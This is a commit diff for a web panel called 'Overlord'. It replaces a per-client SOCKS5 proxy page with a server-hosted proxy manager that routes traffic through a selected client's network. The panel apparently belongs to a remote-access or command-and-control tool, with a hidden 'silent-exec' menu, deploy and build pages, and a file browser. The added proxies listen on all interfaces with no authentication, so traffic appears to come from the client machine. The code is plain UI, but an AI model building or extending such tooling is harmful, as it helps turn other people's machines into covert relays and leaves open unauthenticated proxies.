add new socks5 update
This commit is contained in:
@@ -776,11 +776,6 @@ menu.addEventListener("click", async (e) => {
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "proxy") {
|
||||
window.open(`/${contextCard}/proxy`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
if (open === "silent-exec") {
|
||||
window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
|
||||
@@ -20,6 +20,7 @@ if (host) {
|
||||
"/metrics": "metrics-link",
|
||||
"/logs": "logs-link",
|
||||
"/scripts": "scripts-link",
|
||||
"/socks5-manager": "socks5-link",
|
||||
"/plugins": "plugins-link",
|
||||
"/build": "build-link",
|
||||
"/users": "users-link",
|
||||
|
||||
@@ -47,6 +47,12 @@ export function mountNav(host) {
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||
><i class="fa-solid fa-code text-cyan-400"></i> Scripts</a
|
||||
>
|
||||
<a
|
||||
href="/socks5-manager"
|
||||
id="socks5-link"
|
||||
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
|
||||
><i class="fa-solid fa-network-wired text-sky-400"></i> Proxies</a
|
||||
>
|
||||
<a
|
||||
href="/plugins"
|
||||
id="plugins-link"
|
||||
|
||||
@@ -1,194 +0,0 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
|
||||
const clientId = window.location.pathname.split("/")[1];
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
location.href = "/";
|
||||
}
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
const statusPill = document.getElementById("status-pill");
|
||||
const portInput = document.getElementById("portInput");
|
||||
const startBtn = document.getElementById("startBtn");
|
||||
const stopBtn = document.getElementById("stopBtn");
|
||||
const proxyInfo = document.getElementById("proxyInfo");
|
||||
const proxyAddress = document.getElementById("proxyAddress");
|
||||
const logContainer = document.getElementById("logContainer");
|
||||
|
||||
const toast =
|
||||
(typeof window !== "undefined" && window.createToast) ||
|
||||
(typeof window !== "undefined" && window.showToast) ||
|
||||
null;
|
||||
|
||||
let ws = null;
|
||||
let proxyRunning = false;
|
||||
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
function updateStatus(className, text) {
|
||||
statusPill.className = `pill ${className}`;
|
||||
statusPill.textContent = text;
|
||||
}
|
||||
|
||||
function addLog(message, type = "info") {
|
||||
const timestamp = new Date().toLocaleTimeString();
|
||||
const colors = {
|
||||
info: "text-slate-400",
|
||||
success: "text-green-400",
|
||||
error: "text-red-400",
|
||||
warning: "text-yellow-400",
|
||||
};
|
||||
const color = colors[type] || colors.info;
|
||||
|
||||
const logEntry = document.createElement("div");
|
||||
logEntry.className = color;
|
||||
logEntry.textContent = `[${timestamp}] ${message}`;
|
||||
|
||||
logContainer.appendChild(logEntry);
|
||||
logContainer.scrollTop = logContainer.scrollHeight;
|
||||
|
||||
// Keep only last 100 log entries
|
||||
while (logContainer.children.length > 100) {
|
||||
logContainer.removeChild(logContainer.firstChild);
|
||||
}
|
||||
}
|
||||
|
||||
function connect() {
|
||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||
const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/proxy/ws`;
|
||||
|
||||
ws = new WebSocket(wsUrl);
|
||||
ws.binaryType = "arraybuffer";
|
||||
|
||||
ws.onopen = () => {
|
||||
console.log("Proxy control connected");
|
||||
updateStatus("pill-online", "Connected");
|
||||
addLog("Connected to proxy control interface", "success");
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
const msg = decodeMsgpack(event.data);
|
||||
if (!msg) {
|
||||
console.error("Failed to decode message");
|
||||
return;
|
||||
}
|
||||
handleMessage(msg);
|
||||
};
|
||||
|
||||
ws.onerror = (err) => {
|
||||
console.error("WebSocket error:", err);
|
||||
updateStatus("pill-offline", "Connection Error");
|
||||
addLog("WebSocket connection error", "error");
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
console.log("Proxy control disconnected");
|
||||
updateStatus("pill-offline", "Disconnected");
|
||||
addLog("Disconnected from proxy control", "warning");
|
||||
setTimeout(() => connect(), 3000);
|
||||
};
|
||||
}
|
||||
|
||||
function send(msg) {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(encodeMsgpack(msg));
|
||||
}
|
||||
}
|
||||
|
||||
function handleMessage(msg) {
|
||||
console.log("Received:", msg);
|
||||
|
||||
switch (msg.type) {
|
||||
case "ready":
|
||||
addLog("Proxy control session ready", "success");
|
||||
if (!msg.clientOnline) {
|
||||
updateStatus("pill-offline", "Client Offline");
|
||||
addLog("Target client is offline", "error");
|
||||
}
|
||||
break;
|
||||
case "status":
|
||||
if (msg.status === "offline") {
|
||||
updateStatus("pill-offline", "Client Offline");
|
||||
addLog("Target client went offline", "error");
|
||||
setProxyStopped();
|
||||
}
|
||||
break;
|
||||
case "command_result":
|
||||
handleCommandResult(msg);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function handleCommandResult(msg) {
|
||||
if (msg.ok) {
|
||||
if (msg.message && msg.message.includes("started")) {
|
||||
const match = msg.message.match(/port (\d+)/);
|
||||
const port = match ? match[1] : portInput.value;
|
||||
setProxyRunning(port);
|
||||
addLog(`Proxy started successfully on port ${port}`, "success");
|
||||
if (toast) toast(`Proxy started on port ${port}`, "success");
|
||||
} else if (msg.message && msg.message.includes("stopped")) {
|
||||
setProxyStopped();
|
||||
addLog("Proxy stopped successfully", "success");
|
||||
if (toast) toast("Proxy stopped", "success");
|
||||
} else {
|
||||
addLog(msg.message || "Command completed", "success");
|
||||
}
|
||||
} else {
|
||||
addLog(msg.message || "Command failed", "error");
|
||||
if (toast) toast(msg.message || "Command failed", "error");
|
||||
if (msg.message && msg.message.includes("already running")) {
|
||||
// Proxy is running but we didn't know
|
||||
setProxyRunning(portInput.value);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function setProxyRunning(port) {
|
||||
proxyRunning = true;
|
||||
startBtn.disabled = true;
|
||||
stopBtn.disabled = false;
|
||||
proxyInfo.classList.remove("hidden");
|
||||
proxyAddress.textContent = `127.0.0.1:${port}`;
|
||||
portInput.disabled = true;
|
||||
}
|
||||
|
||||
function setProxyStopped() {
|
||||
proxyRunning = false;
|
||||
startBtn.disabled = false;
|
||||
stopBtn.disabled = true;
|
||||
proxyInfo.classList.add("hidden");
|
||||
portInput.disabled = false;
|
||||
}
|
||||
|
||||
function startProxy() {
|
||||
const port = parseInt(portInput.value);
|
||||
if (isNaN(port) || port < 1 || port > 65535) {
|
||||
if (toast) toast("Invalid port number (1-65535)", "error");
|
||||
return;
|
||||
}
|
||||
|
||||
addLog(`Sending start command for port ${port}...`, "info");
|
||||
send({ type: "proxy_start", port });
|
||||
}
|
||||
|
||||
function stopProxy() {
|
||||
addLog("Sending stop command...", "info");
|
||||
send({ type: "proxy_stop" });
|
||||
}
|
||||
|
||||
// Event listeners
|
||||
startBtn.addEventListener("click", startProxy);
|
||||
stopBtn.addEventListener("click", stopProxy);
|
||||
|
||||
// Initialize
|
||||
connect();
|
||||
|
||||
// Clear initial placeholder
|
||||
setTimeout(() => {
|
||||
if (logContainer.children.length === 1 && logContainer.firstChild.textContent.includes("Waiting")) {
|
||||
logContainer.innerHTML = "";
|
||||
}
|
||||
}, 1000);
|
||||
@@ -0,0 +1,221 @@
|
||||
const toast =
|
||||
(typeof window !== "undefined" && window.createToast) ||
|
||||
(typeof window !== "undefined" && window.showToast) ||
|
||||
null;
|
||||
|
||||
const tableBody = document.getElementById("proxyTableBody");
|
||||
const addProxyBtn = document.getElementById("addProxyBtn");
|
||||
const addProxyModal = document.getElementById("addProxyModal");
|
||||
const modalClientSelect = document.getElementById("modalClientSelect");
|
||||
const modalPortInput = document.getElementById("modalPortInput");
|
||||
const modalCancelBtn = document.getElementById("modalCancelBtn");
|
||||
const modalAddBtn = document.getElementById("modalAddBtn");
|
||||
|
||||
let pollingInterval = null;
|
||||
|
||||
// Check if a clientId was provided via URL params (from context menu)
|
||||
const urlParams = new URLSearchParams(window.location.search);
|
||||
const preselectedClientId = urlParams.get("clientId") || "";
|
||||
|
||||
// ── Data fetching ─────────────────────────────────────────────────────────────
|
||||
|
||||
async function fetchProxies() {
|
||||
try {
|
||||
const res = await fetch("/api/proxy/list");
|
||||
if (!res.ok) return [];
|
||||
const data = await res.json();
|
||||
return data.proxies || [];
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchClients() {
|
||||
try {
|
||||
const res = await fetch("/api/clients?page=1&pageSize=500");
|
||||
if (!res.ok) return [];
|
||||
const data = await res.json();
|
||||
return (data.items || []).filter((c) => c.online);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
// ── Rendering ─────────────────────────────────────────────────────────────────
|
||||
|
||||
function formatTime(ts) {
|
||||
if (!ts) return "-";
|
||||
const d = new Date(ts);
|
||||
return d.toLocaleString();
|
||||
}
|
||||
|
||||
function renderTable(proxies) {
|
||||
if (!proxies.length) {
|
||||
tableBody.innerHTML = `
|
||||
<tr>
|
||||
<td colspan="7" class="px-4 py-12 text-center text-slate-500">
|
||||
<div class="flex flex-col items-center gap-2">
|
||||
<i class="fa-solid fa-network-wired text-3xl text-slate-600"></i>
|
||||
<p class="text-slate-400">No active proxies</p>
|
||||
<p class="text-xs">Click "Add Proxy" to start routing traffic through a client.</p>
|
||||
</div>
|
||||
</td>
|
||||
</tr>`;
|
||||
return;
|
||||
}
|
||||
|
||||
tableBody.innerHTML = proxies
|
||||
.map(
|
||||
(p) => `
|
||||
<tr class="border-b border-slate-800 hover:bg-slate-800/30 transition-colors">
|
||||
<td class="px-4 py-3">
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-desktop text-slate-400"></i>
|
||||
<span class="font-mono text-sm">${escapeHtml(p.clientId)}</span>
|
||||
</div>
|
||||
</td>
|
||||
<td class="px-4 py-3">
|
||||
<span class="font-mono text-blue-300 font-semibold">${p.port}</span>
|
||||
</td>
|
||||
<td class="px-4 py-3">
|
||||
<span class="inline-flex items-center gap-1.5 px-2 py-0.5 rounded-full text-xs font-medium bg-green-500/20 text-green-400 border border-green-500/30">
|
||||
<span class="w-1.5 h-1.5 rounded-full bg-green-400"></span>
|
||||
Active
|
||||
</span>
|
||||
</td>
|
||||
<td class="px-4 py-3 text-slate-300">${p.connections}</td>
|
||||
<td class="px-4 py-3">
|
||||
<code class="text-xs text-slate-400 bg-slate-800 px-2 py-1 rounded">socks5://<server>:${p.port}</code>
|
||||
</td>
|
||||
<td class="px-4 py-3 text-slate-400 text-xs">${formatTime(p.createdAt)}</td>
|
||||
<td class="px-4 py-3 text-right">
|
||||
<button
|
||||
class="stop-btn px-3 py-1.5 rounded-lg bg-red-800/60 hover:bg-red-700 text-red-100 border border-red-600 transition-colors text-xs"
|
||||
data-port="${p.port}"
|
||||
>
|
||||
<i class="fa-solid fa-stop mr-1"></i>Stop
|
||||
</button>
|
||||
</td>
|
||||
</tr>`,
|
||||
)
|
||||
.join("");
|
||||
|
||||
// wire up stop buttons
|
||||
tableBody.querySelectorAll(".stop-btn").forEach((btn) => {
|
||||
btn.addEventListener("click", () => {
|
||||
const port = parseInt(btn.dataset.port);
|
||||
stopProxy(port);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function escapeHtml(str) {
|
||||
const div = document.createElement("div");
|
||||
div.textContent = str;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
// ── Actions ───────────────────────────────────────────────────────────────────
|
||||
|
||||
async function startProxy(clientId, port) {
|
||||
try {
|
||||
const res = await fetch("/api/proxy/start", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ clientId, port }),
|
||||
});
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
if (toast) toast(`Proxy started on port ${port}`, "success");
|
||||
} else {
|
||||
if (toast) toast(data.message || "Failed to start proxy", "error");
|
||||
}
|
||||
refresh();
|
||||
} catch (err) {
|
||||
if (toast) toast("Network error", "error");
|
||||
}
|
||||
}
|
||||
|
||||
async function stopProxy(port) {
|
||||
try {
|
||||
const res = await fetch("/api/proxy/stop", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ port }),
|
||||
});
|
||||
const data = await res.json();
|
||||
if (data.ok) {
|
||||
if (toast) toast(`Proxy on port ${port} stopped`, "success");
|
||||
} else {
|
||||
if (toast) toast(data.message || "Failed to stop proxy", "error");
|
||||
}
|
||||
refresh();
|
||||
} catch (err) {
|
||||
if (toast) toast("Network error", "error");
|
||||
}
|
||||
}
|
||||
|
||||
async function refresh() {
|
||||
const proxies = await fetchProxies();
|
||||
renderTable(proxies);
|
||||
}
|
||||
|
||||
// ── Modal ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
function showModal() {
|
||||
addProxyModal.classList.remove("hidden");
|
||||
loadClientsForModal();
|
||||
}
|
||||
|
||||
function hideModal() {
|
||||
addProxyModal.classList.add("hidden");
|
||||
}
|
||||
|
||||
async function loadClientsForModal() {
|
||||
modalClientSelect.innerHTML = '<option value="">Loading...</option>';
|
||||
const clients = await fetchClients();
|
||||
if (!clients.length) {
|
||||
modalClientSelect.innerHTML = '<option value="">No online clients</option>';
|
||||
return;
|
||||
}
|
||||
modalClientSelect.innerHTML = clients
|
||||
.map((c) => {
|
||||
const label = [c.nickname, c.host, c.user, c.id]
|
||||
.filter(Boolean)
|
||||
.join(" | ");
|
||||
const selected = c.id === preselectedClientId ? " selected" : "";
|
||||
return `<option value="${escapeHtml(c.id)}"${selected}>${escapeHtml(label)}</option>`;
|
||||
})
|
||||
.join("");
|
||||
}
|
||||
|
||||
addProxyBtn.addEventListener("click", showModal);
|
||||
modalCancelBtn.addEventListener("click", hideModal);
|
||||
addProxyModal.addEventListener("click", (e) => {
|
||||
if (e.target === addProxyModal) hideModal();
|
||||
});
|
||||
|
||||
modalAddBtn.addEventListener("click", () => {
|
||||
const clientId = modalClientSelect.value;
|
||||
const port = parseInt(modalPortInput.value);
|
||||
if (!clientId) {
|
||||
if (toast) toast("Select a client", "error");
|
||||
return;
|
||||
}
|
||||
if (isNaN(port) || port < 1 || port > 65535) {
|
||||
if (toast) toast("Invalid port (1-65535)", "error");
|
||||
return;
|
||||
}
|
||||
hideModal();
|
||||
startProxy(clientId, port);
|
||||
});
|
||||
|
||||
// ── Init ──────────────────────────────────────────────────────────────────────
|
||||
|
||||
refresh();
|
||||
pollingInterval = setInterval(refresh, 5000);
|
||||
|
||||
// Auto-open modal if a clientId was provided via URL
|
||||
if (preselectedClientId) {
|
||||
showModal();
|
||||
}
|
||||
@@ -30,7 +30,6 @@ const MENU_GROUPS = [
|
||||
color: "text-blue-400",
|
||||
items: [
|
||||
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
|
||||
{ label: "SOCKS5 Proxy", icon: "fa-solid fa-network-wired", icolor: "text-sky-400", open: "proxy" },
|
||||
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
|
||||
],
|
||||
},
|
||||
|
||||
@@ -1,180 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en" class="dark">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>SOCKS5 Proxy - Overlord</title>
|
||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<script src="/assets/toast.js"></script>
|
||||
</head>
|
||||
<body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
|
||||
<main class="px-5 py-6 flex-1 flex flex-col">
|
||||
<div class="flex-1 flex flex-col gap-4" style="max-width: 1400px; margin: 0 auto; width: 100%">
|
||||
<!-- Header -->
|
||||
<div class="flex flex-wrap gap-3 items-center justify-between">
|
||||
<div class="flex items-center gap-3">
|
||||
<div
|
||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 shadow-lg"
|
||||
>
|
||||
<i class="fa-solid fa-network-wired text-blue-400"></i>
|
||||
<span class="font-semibold">SOCKS5 Proxy</span>
|
||||
<span id="status-pill" class="pill pill-offline">Connecting</span>
|
||||
</div>
|
||||
<div
|
||||
class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300 shadow-lg"
|
||||
>
|
||||
<span class="text-slate-400">Client:</span>
|
||||
<span id="clientLabel" class="font-mono">-</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Main Content -->
|
||||
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4">
|
||||
<!-- Proxy Control Panel -->
|
||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-6 shadow-xl">
|
||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||
<i class="fa-solid fa-sliders"></i>
|
||||
Control Panel
|
||||
</h3>
|
||||
|
||||
<div class="space-y-4">
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2">
|
||||
Proxy Port (on agent)
|
||||
</label>
|
||||
<input
|
||||
id="portInput"
|
||||
type="number"
|
||||
value="1080"
|
||||
min="1"
|
||||
max="65535"
|
||||
class="w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-500"
|
||||
/>
|
||||
<p class="text-xs text-slate-400 mt-1">
|
||||
The SOCKS5 proxy will listen on localhost at this port on the agent machine
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="flex gap-2">
|
||||
<button
|
||||
id="startBtn"
|
||||
class="button primary flex-1"
|
||||
>
|
||||
<i class="fa-solid fa-play"></i>
|
||||
<span>Start Proxy</span>
|
||||
</button>
|
||||
<button
|
||||
id="stopBtn"
|
||||
class="button danger flex-1"
|
||||
disabled
|
||||
>
|
||||
<i class="fa-solid fa-stop"></i>
|
||||
<span>Stop Proxy</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div id="proxyInfo" class="hidden p-4 bg-slate-800/70 border border-slate-700 rounded-lg">
|
||||
<div class="flex items-center gap-2 mb-2">
|
||||
<i class="fa-solid fa-circle-check text-green-400"></i>
|
||||
<span class="font-semibold text-green-400">Proxy Running</span>
|
||||
</div>
|
||||
<div class="space-y-1 text-sm">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="text-slate-400">Address:</span>
|
||||
<span class="font-mono text-slate-200" id="proxyAddress">127.0.0.1:1080</span>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="text-slate-400">Protocol:</span>
|
||||
<span class="font-mono text-slate-200">SOCKS5</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Information Panel -->
|
||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-6 shadow-xl">
|
||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||
<i class="fa-solid fa-circle-info"></i>
|
||||
How to Use
|
||||
</h3>
|
||||
|
||||
<div class="space-y-4 text-sm text-slate-300">
|
||||
<div>
|
||||
<h4 class="font-semibold text-slate-200 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-1 text-blue-400"></i>
|
||||
Start the Proxy
|
||||
</h4>
|
||||
<p class="text-slate-400 pl-6">
|
||||
Click "Start Proxy" to launch a SOCKS5 proxy server on the agent machine. The proxy will listen on localhost (127.0.0.1) at the specified port.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 class="font-semibold text-slate-200 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-2 text-blue-400"></i>
|
||||
Configure Your Applications
|
||||
</h4>
|
||||
<p class="text-slate-400 pl-6">
|
||||
Configure your browser or applications on the agent machine to use the SOCKS5 proxy at 127.0.0.1:[port]. This will route traffic through the agent's network.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<h4 class="font-semibold text-slate-200 mb-2 flex items-center gap-2">
|
||||
<i class="fa-solid fa-3 text-blue-400"></i>
|
||||
Use Your Agent's IP
|
||||
</h4>
|
||||
<p class="text-slate-400 pl-6">
|
||||
All traffic routed through the proxy will appear to originate from the agent's IP address and network location.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="p-3 bg-yellow-500/10 border border-yellow-500/30 rounded-lg">
|
||||
<div class="flex items-start gap-2">
|
||||
<i class="fa-solid fa-exclamation-triangle text-yellow-400 mt-1"></i>
|
||||
<div class="text-xs">
|
||||
<p class="font-semibold text-yellow-300 mb-1">Note</p>
|
||||
<p class="text-yellow-200/80">
|
||||
The proxy runs directly on the agent machine. You need to configure applications <strong>on that machine</strong> to use it, or set up port forwarding/tunneling to access it remotely.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Command Log -->
|
||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-4 shadow-xl">
|
||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||
<i class="fa-solid fa-terminal"></i>
|
||||
Activity Log
|
||||
</h3>
|
||||
<div
|
||||
id="logContainer"
|
||||
class="font-mono text-xs bg-slate-950/70 border border-slate-800 rounded p-3 space-y-1 overflow-auto"
|
||||
style="max-height: 200px"
|
||||
>
|
||||
<div class="text-slate-500">Waiting for connection...</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<script src="https://cdn.jsdelivr.net/npm/msgpackr@1.11.8/dist/index.js"></script>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/proxy.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,125 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en" class="dark">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>SOCKS5 Proxy Manager - Overlord</title>
|
||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
<script src="/assets/toast.js"></script>
|
||||
</head>
|
||||
<body class="min-h-screen bg-gradient-to-br from-slate-950 via-slate-900 to-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
|
||||
<main class="px-5 py-6 flex-1 flex flex-col">
|
||||
<div class="flex-1 flex flex-col gap-4" style="max-width: 1100px; margin: 0 auto; width: 100%">
|
||||
<!-- Header -->
|
||||
<div class="flex flex-wrap gap-3 items-center justify-between">
|
||||
<div class="flex items-center gap-3">
|
||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 shadow-lg">
|
||||
<i class="fa-solid fa-network-wired text-blue-400"></i>
|
||||
<span class="font-semibold">SOCKS5 Proxy Manager</span>
|
||||
</div>
|
||||
</div>
|
||||
<button
|
||||
id="addProxyBtn"
|
||||
class="button primary"
|
||||
>
|
||||
<i class="fa-solid fa-plus"></i>
|
||||
<span>Add Proxy</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Info Banner -->
|
||||
<div class="bg-blue-500/10 border border-blue-500/30 rounded-lg p-4">
|
||||
<div class="flex items-start gap-3">
|
||||
<i class="fa-solid fa-circle-info text-blue-400 mt-0.5"></i>
|
||||
<div class="text-sm text-blue-200/80">
|
||||
<p class="font-semibold text-blue-300 mb-1">Server-Hosted SOCKS5 Proxies</p>
|
||||
<p>
|
||||
Each entry creates a SOCKS5 proxy listener on this server. Anyone with the server address and port
|
||||
can route traffic through the selected client's network. No authentication is required on the
|
||||
SOCKS5 port — security is handled by only exposing ports you choose.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Proxy Table -->
|
||||
<div class="bg-slate-900/70 border border-slate-800 rounded-lg shadow-xl overflow-hidden">
|
||||
<table class="w-full text-sm">
|
||||
<thead>
|
||||
<tr class="bg-slate-800/50 border-b border-slate-700">
|
||||
<th class="px-4 py-3 text-left text-slate-300 font-medium">Client</th>
|
||||
<th class="px-4 py-3 text-left text-slate-300 font-medium">Port</th>
|
||||
<th class="px-4 py-3 text-left text-slate-300 font-medium">Status</th>
|
||||
<th class="px-4 py-3 text-left text-slate-300 font-medium">Connections</th>
|
||||
<th class="px-4 py-3 text-left text-slate-300 font-medium">Usage</th>
|
||||
<th class="px-4 py-3 text-left text-slate-300 font-medium">Started</th>
|
||||
<th class="px-4 py-3 text-right text-slate-300 font-medium">Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="proxyTableBody">
|
||||
<tr>
|
||||
<td colspan="7" class="px-4 py-8 text-center text-slate-500">
|
||||
<i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading...
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
|
||||
<!-- Add Proxy Modal (hidden by default) -->
|
||||
<div id="addProxyModal" class="fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4 hidden">
|
||||
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-full max-w-md p-6">
|
||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||
<i class="fa-solid fa-plus text-blue-400"></i>
|
||||
Add SOCKS5 Proxy
|
||||
</h3>
|
||||
<div class="space-y-4">
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2">Client</label>
|
||||
<select
|
||||
id="modalClientSelect"
|
||||
class="w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-500"
|
||||
>
|
||||
<option value="">Loading clients...</option>
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-sm font-medium text-slate-300 mb-2">Listen Port (on this server)</label>
|
||||
<input
|
||||
id="modalPortInput"
|
||||
type="number"
|
||||
value="1080"
|
||||
min="1"
|
||||
max="65535"
|
||||
class="w-full px-3 py-2 bg-slate-800 border border-slate-700 rounded-lg text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-500"
|
||||
/>
|
||||
<p class="text-xs text-slate-400 mt-1">
|
||||
The SOCKS5 proxy will listen on 0.0.0.0:<port> on this server.
|
||||
</p>
|
||||
</div>
|
||||
<div class="flex gap-2 justify-end pt-2">
|
||||
<button id="modalCancelBtn" class="button">Cancel</button>
|
||||
<button id="modalAddBtn" class="button primary">
|
||||
<i class="fa-solid fa-play"></i> Start Proxy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/socks5-manager.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user